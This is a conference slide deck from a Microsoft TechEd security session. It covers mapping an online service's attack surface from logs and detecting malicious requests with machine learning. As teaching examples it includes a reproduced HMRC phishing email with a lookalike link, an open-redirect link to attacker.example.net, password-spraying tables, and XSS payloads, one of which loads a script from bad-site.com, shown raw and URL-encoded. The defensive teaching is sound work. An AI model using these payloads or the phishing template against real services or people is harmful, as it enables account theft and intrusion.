



Using Big Data and Machine Learning to Protect Your Online Service

DBI-B221

Alisson Sol Principal Architect ASG SPAA Information & Knowledge Services



Related content

- Breakout Sessions (session codes and titles)
- ⊕ Labs (session codes and titles)
- Microsoft Solutions Experience Location (MSE)
- Find Me Later At. . . asol.teched@outlook.com

Track resources

- Data, A short course by Yaser S. Abu-Mostafa, Malik Magdon-Ismail, Husuan-Tien Lin, AMLBook.com, 2012
- Machine Learning using C# Succinctly by James McCaffrey, SyncFusion, 2014
- Source code available: https://github.com/alissonsol
- Resource 4

DBI Track resources

- 27 Hands on Labs + 8 Instructor Led Labs in Hall 7
- Free SQL Server 2014 Technical Overview e-book microsoft.com/sqlserver and Amazon Kindle Store
- Free online training at Microsoft Virtual Academy microsoftvirtualacademy.com
- Try new Azure data services previews!

Azure Machine Learning, DocumentDB, and Stream Analytics

Resources





Sessions on Demand

http://channel9.msdn.com/Events/TechEd

TechNet



Resources for IT Professionals

http://microsoft.com/technet

Learning



Microsoft Certification & Training Resources

www.microsoft.com/learning

Developer Network



http://developer.microsoft.com


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TechEd Mobile app for session evaluations is currently offline

Acknowledgements

ASG Security, Privacy, Accessibility & Audit Team

Previous teams with related work

Microsoft Research, Microsoft Office PerformancePoint, BizTalk, Office New Markets

Many people who provided content and feedback

List is too long. Special thanks to those in the ASG SPAA Team and ASG Big Data Security Community

About me

Education: Physics, then Computer Science

No right or wrong models

Diverse experience


Before Microsoft: cofounded 3 companies focused on IT consulting and software development At Microsoft: Application Center, BizTalk Server, Microsoft .NET Business Framework, Office Information Worker New Markets, PerformancePoint, Microsoft Research, Engineering Excellence, Kinect for Windows, Applications & Services Group

Current team

ASG: Application & Services Group

IPG: Information Platform Group


SPAA: Security, Privacy, Accessibility & Audit Team








Using big data to find service attack surface


Generic online service architecture












Software attacks

Vulnerability


Individual bug Integration issues Exploited by

Lone hacker Network of hacked computers

Exploiting integration (few months back...)



Visiting top search result



Can peek at past via web.archive.org

How is this done?


Search engine results page order links by "relevance" Relevance ranking factor: "good click"


User made search, clicked on SERP link, and didn't come back "too quickly"

Exploit: hacked network

There are also people paid to "navigate the web" and click according to "script"

How are machines hacked?





To Alisson Sol

Dear Applicant,

The contents of this email and any attachments are confidential and as applicable, copyright in these is reserved to HM Revenue & Customs. Unless expressly authorized by us, any further dissemination or distribution of this email or its attachments is prohibited.

If you are not the intended recipient of this email, please reply to inform us that you have received this email in error and then delete it without retaining any copy.

I am sending this email to announce: Afr your fiscal activity we have determined tax refund of 418 33 GBP

http://hmrc.gov.uk.online.new.htm. toprakhosting.net/www/index.php?https:/ /online.hmrc.gov.uk/login Click to follow link

Click Here to Complete your Tax Refund


After completing the form, please submit the form by clicking the SUBMIT button on form and allow us 5-9 business days in order to process it.

Our head office address can be found on our web site at HM Revenue & Customs: http://www.hmrc.gov.uk

http://hmrc.gov.uk.online.new.htm. toprakhosting.net/www/index.php?https:/ /online.hmrc.gov.uk/login Click to follow link

URL Redirection to Untrusted Site







part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

```
Example Language: HTML
                                                                                              (Attack
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

▼ Observed Examples Reference Description CVE-2005- URL parameter loads the URL into a frame and causes it to appear to be part 4206 of a valid page.

Password attacks

Username	Password guess
sarahj57@live.com	abcdefg
sarahj57@live.com	123456
sarahj57@live.com	password
sarahj57@live.com	princess
sarahj57@live.com	monkey
sarahj57@live.com	12345678
sarahj57@live.com	Password

Depth first

Username	Password	
sarahj57@live.com	abcdefg	
johnf12@live.com	abcdefg	
julie99@live.com	abcdefg	
topdog@live.com	abcdefg	
bostonS@live.com	abcdefg	
seahawk@live.com	abcdefg	
23mike7@live.com	abcdefg	

Breadth first

Other strategies: replay {username, password} pairs from leaked datasets

Attacking service endpoints

Given URL

http://www.bing.com/search?q=[param]

Inject attack values

```
<script>alert("XSS");</script>
```

<script src="http://bad-site.com/XSS.js"></script>

Encoded

%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E

%3Cscript%20src%3D%22http%3A%2F%2Fbad-site.com%2FXSS.js%22%3E%3C%2Fscript%3E

Attach request

http://www.bing.com/search?q=%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E

Vulnerability testing


Attack values

Cross site scripting String injection Tag injection Attribute injection Open redirects Click jacking HTTP response splitting Certificate issues SQL injection Null character injection Large string injection Integer overflow Cross-domain trust Cookie fuzzing

Attack surface

http://example.com/?param1=value http://example.com/videos/?param2=value http://example.com/news/?param3=value http://example.com/news/?p1=value&p2=value

What is the attack surface for my service?



Logged usage data

2014-09-30 05:25:12 127.0.0.1 GET /TechEd2014EU/ - 80 - 127.0.0.1 Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko


- 200 0 0 1359

(C:) ▶ inetpub ▶ logs ▶ LogFiles ▶ W3SVC1					
Name	Date modified	Туре	Size		
☑ 🗎 u_ex140829	8/29/2014 2:53 AM	Text Document	20 KB		
u_ex140831	8/31/2014 1:34 PM	Text Document	1 KB		
u_ex140902	9/2/2014 2:36 PM	Text Document	1 KB		
u_ex140904	9/4/2014 10:22 AM	Text Document	3 KB		
u_ex140926	9/26/2014 2:30 AM	Text Document	1 KB		



Usage data: created by end-user interactions

Operational data



Operational data: logs from operation of infrastructure

2014-09-30 05:25:12 127.0.0.1 GET http://www.bing.com/?q=surface - 80 - 127.0.0.1 Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0) - 200 0 0 1359



Map

key=http://www.bing.com/?q=[], value=1



Reduce

key=http://www.bing.com/?q=[], value=SUM

HDInsight LogMapper

```
public class LogMapper {
   public static void Main(string[] args) {
        if (args.Length > 0) { Console.SetIn(new StreamReader(args[0])); }
        string inputLine;
        while ((inputLine = Console.ReadLine()) != null) {
            string mappedData = ExtractDataFromInputLine(inputLine);
            Console.WriteLine(mappedData);
    private static string ExtractDataFromInputLine(string inputLine) {
        // Code to extract relevant data
```

HDInsight LogReducer

```
public class LogReducer {
   public static void Main(string[] args) {
        if (args.Length > 0) { Console.SetIn(new StreamReader(args[0])); }
        string word, lastWord = null; int count = 0;
        while ((word = Console.ReadLine()) != null) {
            if (word != lastWord) {
                Console.WriteLine("{0}\t{1}", lastWord, count);
                count = 1;
                lastWord = word;
            else { count++; }
        Console.WriteLine("{0}\t{1}", lastWord, count);
```

HDInsight PowerShell script

```
#===========
# Define variables
#=============
Write-Host "Creating streaming MapReduce job definition" -ForegroundColor Green
$mrJobDef = New-AzureHDInsightStreamingMapReduceJobDefinition -JobName
mrSampleStreamingJob -Mapper $mrMapper -Reducer $mrReducer -InputPath $mrInput -
OutputPath $mrOutput -StatusFolder $mrStatusOutput
$mrJobDef.Files.Add($mrMapperFile)
$mrJobDef.Files.Add($mrReducerFile)
#===============
Write-Host "Running streaming MapReduce job" -ForegroundColor Green
$mrJob = Start-AzureHDInsightJob -Cluster $clusterName -JobDefinition $mrJobDef
Wait-AzureHDInsightJob -Job $mrJob -WaitTimeoutInSeconds 3600
Write-Host "Output at $mrOutput" -ForegroundColor Green
```

Bing

~10-100 billion requests



Map

key=http://www.bing.com/?q=[], value=1



Reduce


~500,000 different keys



Attack!

Avoided releasing vulnerability to the public!

Bing Maps Preview



Bing Maps Preview isn't available here yet.

For now, the new Bing Maps Preview works on Internet Explorer 11 and Google Chrome using a PC or tablet, and is only available in the United States (English).

To get the current Bing Maps (which works on more devices and browsers in wide variety of regions), tap

Big data scenario takeaways

Using usage logs, find your service attack surface Continuous security: proactively attack your service

Guard against creating denial-of-service against your service

Prioritize areas according to "importance"

There is always a "window" between your last scan and a possible release to the public

Issues

Some processing needed for special endpoints


Attacking own service is a costly development effort

False positives: 500K endpoints with 0.1% false positives = 500 "incidents" to investigate


Remember: the "data feeds" may be your weakest link!




Using machine learning to detect malicious requests



(Near) realtime detection



(Near) realtime detection



"Machine Learning"

Strong candidate for buzzword of the decade Besides, those are two words!


"Know enough to be dangerous"

Common self-assessment


At times, a prediction is correct...

But can it be repeated? Is there a pattern? Wasn't it just an accident?

Prediction model for the FIFA World Cup 2014



Machine scalability



Machine scalability

Organizational expertise



Developer



IT



Subject Matter Expert




Marketing



Data scientist

Machine scalability

Organizational expertise



Machine scalability

Organizational expertise

Data

Experiments

Combination that will work!





ML intro in 3 minutes...


Supervised learning from movie features

Movie Tag	# of kicks	# of kisses	Label	
Α	3	104	Romance	
В	2	100	Romance	
С	1	81	Romance	
D	101	10	Action	
Е	99	5	Action	
F	98	2	Action	
	18	90	Unknown	

Row A-F: "Ground Truth"

Source:
Machine learning in action
By: Harrington, Peter.
Manning Publications
2012

Movies: scatter chart



k-NN: distances


Tag	# of kicks	# of kisses	Label	Distance
;	18	90	Unknown	0.0
Α	3	104	Romance	20.5
В	2	100	Romance	18.9
С	1	81	Romance	19.2
D	101	10	Action	115. 3
Е	99	5	Action	117.4
F	98	2	Action	118.9

k-NN: sorted distances

Tag	# of kicks	# of kisses	Label	Distance
;	18	90	Unknown	0.0
В	2	100	Romance	18.9
С	1	81	Romance	19.2
Α	3	104	Romance	20.5
D	101	10	Action	115. 3
Е	99	5	Action	117.4
F	98	2	Action	118.9

if k = 3 then 3 nearest neighbors are: Romance

k-means



Repeat

- 1. Compute centroids for k sets
- 2. Reassign point to group with closest centroid
- 3. Stop criteria: max iterations or no change

(no change on centroids or group assignments)


k-means: centroids usage

Tag	# of kicks	# of kisses	Centroid
Α	3	104	μ_0
В	2	100	(2, 95)
C	1	81	
D	101	10	μ_1
Е	99	5	(99.33, 5.67)
F	98	2	
· .	18	90	?


$$distance^{2}(\mu_{0}) = (18 - 2)^{2} + (90 - 95)^{2} = 281$$

$$distance^{2}(\mu_{1}) = (18 - 99.33)^{2} + (90 - 5.67)^{2} = 13727.22$$


What If? (Bl approach)




Pre-calculated classification for "space"



More dimensions: find the "hyperplane"




k-means clustering in AzureML




Feature engineering

Param	Size	Keywords	Attack
surface	7	0	N
<pre><script>alert("XSS");</script></pre>	30	3	Υ
<pre><script src="XXS.js"></script></pre>	30	2	Υ
%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E	46	3	;

Hardship: ground truth ...



Learning cycle



Feature experiments

ML training



Prepare features

ML module


Solution

Classification or Regression


ScoringActionTrue Positive©True Negative©False PositiveBoosting GTFalse NegativeBoosting GT

Scoring Process

Deployment



What is "normal" traffic?



Machine learning scenario takeaways

Attacks are detectable from your data

Rule-based approach doesn't scale

ML-based approach can provide "confidence" that requests, sessions or "groups of events" are attacks You are seeking for the unexplained deviations from "normal"

Issues

Heisenberg principle: observing the system affects its behavior

False positives: 10 billion requests with 0.1% false positives = 10 million "incidents" to investigate

Real time correlation of usage data and operational data is hard

Review

Using big data to find service attack surface

Helps to learn about usage patterns

Anticipate vulnerabilities proactively


Using machine learning to detect malicious requests

Group usage patterns: per requests or parameter values

Matching new request to previous groups may detect malicious intent

Detected malicious intent. Now what?

Increase cost for attacker (ex: delay answer by 1ms, then 10ms, than 100ms then 1s, ...)



Call to action
Select a problem
Select your library/tools
Prepare your data
Evolve your model!





